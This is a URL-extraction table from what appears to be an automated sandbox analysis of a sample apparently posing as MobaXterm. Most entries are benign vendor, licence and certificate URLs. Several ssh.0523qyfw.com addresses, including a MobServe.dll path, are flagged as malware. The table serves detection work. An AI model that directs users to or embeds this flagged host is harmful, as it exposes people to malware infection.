https://github.com/lukas-w/font-logos/blob/master/LICENSE)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net)	T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/tonsky/FiraCode)	T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.x.org	T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.busybox.net	T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.netMobaFira	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCFC7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.netx(	T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/open%s	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2277517244.000000000AC29000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/http-cookies.html	T2dvU8f2xg.exe, T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	false		high
https://dejavu-fonts.github.io/License.html)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/AndreLZGava/font-awesome-extension/blob/master/LICENCE)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugs.freedesktop.org/enter_bug.cgi?product=Mesa	T2dvU8f2xg.exe, 00000000.00000003.2679350990.000000000E246000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ssh.0523qyfw.com/C	T2dvU8f2xg.exe, 00000000.00000002.4065622099.0000000001852000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://dejavu-fonts.github.io/)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/tonsky/FiraCode/blob/master/LICENSE)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.netDVarFileInfo$	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://vorillaz.github.io/devicons)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=	T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCCBF000.00000004.00001000.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html	T2dvU8f2xg.exe, T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	false		high
https://github.com/primer/octicons/blob/master/LICENSE)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/source-foundry/Hack)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net/CygUtils.plugin	T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ssh.0523qyfw.com/	T2dvU8f2xg.exe, 00000000.00000002.4065622099.0000000001852000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fontawesome.com/license/free)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.netMobaFont	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ssh.0523qyfw.com/MobServe.dllMobServe.dllTask	T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: malware	unknown
http://www.ietf.org/rfc/rfc3075.txt	T2dvU8f2xg.exe, 00000000.00000002.4076442352.000000000407C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://blog.mobatek.net/post/how-to-keep-X11-display-after-su-or-sudo/	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2277945932.0000000009BA1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2269444590.000000000A904000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.net/cert.html	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://bdsatish.in/lang/tel-kagapa.png	T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.net/download.html03	T2dvU8f2xg.exe, 00000000.00000002.4076442352.000000000407C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.netR	T2dvU8f2xg.exe, 00000000.00000002.4143689022.000000000B390000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mingw-w64.sourceforge.net/X	T2dvU8f2xg.exe, 00000000.00000003.2468450629.00000000FDEB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2478505354.00000000FC13A000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2376415685.000000000798A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/lukas-w/font-logos)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net/download.html	T2dvU8f2xg.exe, 00000000.00000002.4076442352.0000000003F8F000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4076442352.000000000407C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.netopenwinAboutDlgProc	T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFC80000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFA10000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2662991402.00000000019F3000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2652853895.00000000FFA10000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/openputtygen-save-passphrase-hashingputtygen-save	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCB33000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219797778.00000000091A1000.00000004.00000020.00020000.00000000.sdmp	false		high
